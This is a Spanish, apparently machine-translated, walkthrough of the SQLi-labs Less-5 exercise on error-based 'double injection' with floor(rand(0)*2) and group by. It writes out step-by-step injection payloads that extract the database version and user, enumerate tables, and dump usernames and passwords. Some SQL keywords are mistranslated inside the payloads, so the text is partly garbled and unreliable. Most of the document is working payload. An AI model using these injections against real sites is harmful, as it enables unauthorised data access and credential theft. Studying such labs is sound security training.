Menos-5 GET - Doble inyección cotizaciones -Single - Cadena
1. página original
2.? Id = 1
entrada no consulta la base de datos correctamente, pero vuelve directamente estas en ...
Así que para hacer un error, queremos información de la pantalla.
3.?id=1 '
' '1''LIMIT 0,1' -> (para eliminar las comillas simples) '1''LIMIT 0,1 -> Puesto que somos entrada id = 1' es de entrada = 1 'se puede determinar como' input'LIMIT 0,1
SQL:
Seleccionar login_name, contraseña de administración donde id = 'input' límite de 0,1;
4. Vuelva a comprobar que dos consultas anidadas, es decir, seleccionar ... (SELECT ...). Dentro de ella se llama orden de ejecución de consultas sub-select se ejecuta en primer sub-consultas, y luego realizar fuera del selecto. Cuando un corregir otro error, puede utilizar la concat () [función de conexión String] El resultado correcto de la conexión en la información de error
doble inyección se centra principalmente en varias funciones:
- rand () función aleatoria que devuelve un valor entre 0 y 1
- Piso (a) la función de redondeo, una vuelta o menos, y un valor de un número entero más cercano
- Recuento total () función de agregado, devuelve el objeto de consulta
- grupo por la cláusula de agrupación de los estados, de acuerdo con los resultados de la paquete de consulta
Dada Principio:
SELECT COUNT (*) Grupo de la tabla por planta (RAND (0) * 2);
valor piso (rand (0) * 2) es cualitativo, no completamente al azar, es un pseudo-aleatoria, el valor 011011
proceso de ejecución:
Primero: grupo por piso (0), grupo por 0, no omitir
segundos: grupo por 1
Tercero: grupo por 1, debido a que el valor de clave correspondiente a
la cuarta: grupo por 0
quinta: grupo por 1, sin inserción, para crear un nuevo valor de la clave de 1, será clave = 1 y el error de conflicto anterior.
piso de ejecución (rand (0) * 2) 5 veces, 3 veces para ejecutar la consulta.
rutinas básicas:
el SELECT COUNT (*), concat (([subconsultas escriben aquí]), baja (rand () * 2)) como un grupo de [nombre_tabla] por un;
El acceso a la base de datos
? Id = 0 'union select 1 , count (*), concat ((select concat (version (), 0x3a, 0x3a, la base de datos (), 0x3a, 0x3a, user (), 0x3a) límite de 0,1 ), Suelo (RAND (0) * 2)) como una de INFORMATION_SCHEMA.TABLES por el Grupo A - +
6. La tabla de adquisición
? Id = 0 'union select 1 , count (*), concat ((select concat (nombre_tabla, 0x3a, 0x3a) desde donde INFORMATION_SCHEMA.TABLES esquema_tabla = base de datos ()), suelos (rand (0) * 2)) como una INFORMATION_SCHEMA.TABLES del grupo por un - +
un retorno no sólo más de un dato, que se utiliza para limitar límite
? Id = 0 'union select 1 , count (*), concat ((select concat (nombre_tabla, 0x3a, 0x3a) desde donde INFORMATION_SCHEMA.TABLES esquema_tabla = base de datos () límite de 0,1), suelos (rand (0) * 2 )) como un grupo de INFORMATION_SCHEMA.TABLES por un - +
Ver otras tablas, los valores límite se puede cambiar
? Id = 0' union select 1, count (*), concat ((select concat (nombre_tabla, 0x3a, 0x3a) desde donde INFORMATION_SCHEMA.TABLES esquema_tabla = base de datos () límite de 1,1), suelos (rand (0) * 2 )) como un grupo de INFORMATION_SCHEMA.TABLES por un - +
7. obtención de información de los usuarios
? Id = 0' union select 1, count (*), concat ((select concat (nombre de usuario, 0x3a, 0x3a, password, 0x3a, 0x3a) de security.users limitan 1,1), suelos (rand (0) * 2 )) como un grupo de INFORMATION_SCHEMA.TABLES por un - +
? Id = 0' union select 1, count (*), concat ((select concat (nombre de usuario, 0x3a, 0x3a, password, 0x3a, 0x3a) de security.users limitan 3,1), suelos (rand (0) * 2 )) como un grupo de INFORMATION_SCHEMA.TABLES por un - +
Poseer un poco más de comprensión y método, si mal entendido o representación local es incorrecta, por favor me corrija.